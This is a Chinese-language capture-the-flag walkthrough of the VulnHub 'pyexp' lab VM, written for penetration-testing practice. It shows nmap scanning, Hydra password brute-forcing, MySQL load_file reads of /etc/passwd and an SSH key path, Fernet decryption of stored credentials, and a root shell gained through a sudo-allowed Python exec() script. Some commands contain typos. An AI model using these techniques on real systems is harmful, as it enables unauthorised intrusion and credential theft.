靶机介绍

1)靶机地址:https://download.vulnhub.com/pyexp/pyexpvm.zip

2)靶机难度:中

3)打靶目标: 取得 root 权限 + 2 Flag

4)涉及攻击方法:主机发现、端口扫描、信息收集、SSH密码爆破、MySQL密码爆破、MySQL执行代码、编写解密代码、SUDO权限漏洞、Python函数、本地提权

5)靶机简介:不可否认,渗透测试最常面对的服务类型是WEB,但如果将渗透与WEB渗透画上等号,则未免认知太过片面。今天这台靶机就完全没有WEB服务,需要从爆破密码和搜寻已知漏洞的角度入手,通过MySQL数据库系统自身的功能和已公开的漏洞,尝试读取系统机密文件,甚至直接执行操作系统命令。要想成功突破边界,还必须要自己编写一些程序代码,对并不熟悉的加密算法进行解密,取得重要的身份认证信息。提权阶段仍然需要处理一些编程语言的函数,并且以此来注入一些简单的提权代码,结合系统权限配置漏洞,最终取得Root权限。这是一台非常具有特色的靶机环境,一方面他提醒我们关注WEB之外的其他服务类型,另一方面也很好的补充和完善了之前打靶涉及到的技能体系。

6)注释:需要将本次靶机下载后,导入到vmwar workstation运行虚拟机

打靶过程

1)主机发现

# arp-scan -l

2)全端口扫描

# nmap -p- 172.24.10.130

3)服务版本扫描

# nmap -p1337,3306 -sC -sV 172.24.10.130

5)根据扫描出的服务对应的版本进行已知漏洞的扫描:ssh服务未扫描到任何可用信息,Mysql扫描到漏洞,但是因为版本不符,也无法利用成功

# searchsploit ssh 7.9
# searchsploit mysql 5.5.5

6)使用sydra工具对ssh进行暴力破解

# cp /usr/share/wordlists/rockyou.txt.gz ./
# unzup rockyou.txt.gz
# hydra -l root -P rockyou.txt ssh://172.24.10.130:3306

通过密码破解,破解出了mysql数据库的密码未prettywoman

7)通过用户名root和密码prettywoman尝试登录数据库,可成功等入数据库。并尝试执行操作系统命令,发现并不成功。但是可以通过load_file函数读取本地文件

# mysql -u root -h 172.24.10.130  -p"prettywoman"
MariaDB [(none)]> \! bash
MariaDB [(none)]> select do_system('id');
ERROR 1305 (42000): FUNCTION do_system does not exist
MariaDB [(none)]> select load_file('/etc/passwd')
MariaDB [(none)]> select load_file('/etc/alternatives/my.cnf')
MariaDB [(none)]> select load_file('/etc/mysql/mariadb.conf');
MariaDB [(none)]> select load_file('/home/lucy/.ssh/id_rsa');

登入数据库后,无法直接提权至root用户,且在一些配置文件中也未发现有用信息,在用户文件中发现了可以登录的lucy用户,但是未找到该用户的私钥

8)查询数据库中的库、表、发现存在一个data库,库中包含一个fernet表,该表中存在cred和keyy字段

MariaDB [(none)]> show databases;
MariaDB [data]> show tables;
MariaDB [data]> select * from fernet \G;

9)通过搜索可知在python程序开发中,cryptography库中,对称加密算法的抽象是fernet模块,包括了对数据的加解密以及签名验证功能,以及密钥过期机制。

fernet模块的使用:https://cryptography.io/en/latest/fernet/

通过按照上述代码在python3进行测试执行,发现生成的key和加密后的字符串类型很相似,由此可判断,在数据库中fernet表中插入的两个字段 就是通过fernet算法生成的

10)通过修改python代码,对数据库中加密的字符传进行解密

>>> from cryptography.fernet import Fernet
>>> key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
>>> f = Fernet(key)
>>> token = b'gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys='
>>> f.decrypt(token)
b'lucy:wJ9`"Lemdv9[FEw-'

11)利用解出的字符串,使用用户名lucy和密码尝试使用ssh协议登录目标靶机,发现可直接登录成功,直接获取到lucy用户的flag

12)突破边界后,进行信息搜集,在历史命令中查看执行了sudo -l命令。通过sudo -l可看到当前用户无需密码即可执行/opt/exp.py文件,且该文件属主为root,查看该文件发现执行了一个exec函数,即将输入的内容直接进行了允许,构建payload,提权成功,获取到flag文件

$ uname -a
$ lsb_release -a
$ cat .bash_history
$ sudo -l
$ cat /opt/exp.p
uinput = raw_input('how are you?')
exec(uinput)
lucy@pyexp:~$ sudo /usr/bin/python2 /opt/exp.py
how are you?import pty;pty.spawn("/bin/bash")
root@pyexp:/home/lucy# id
uid=0(root) gid=0(root) groups=0(root)
root@pyexp:/home/lucy# cat user.txt 
8ca196f62e91847f07f8043b499bd9be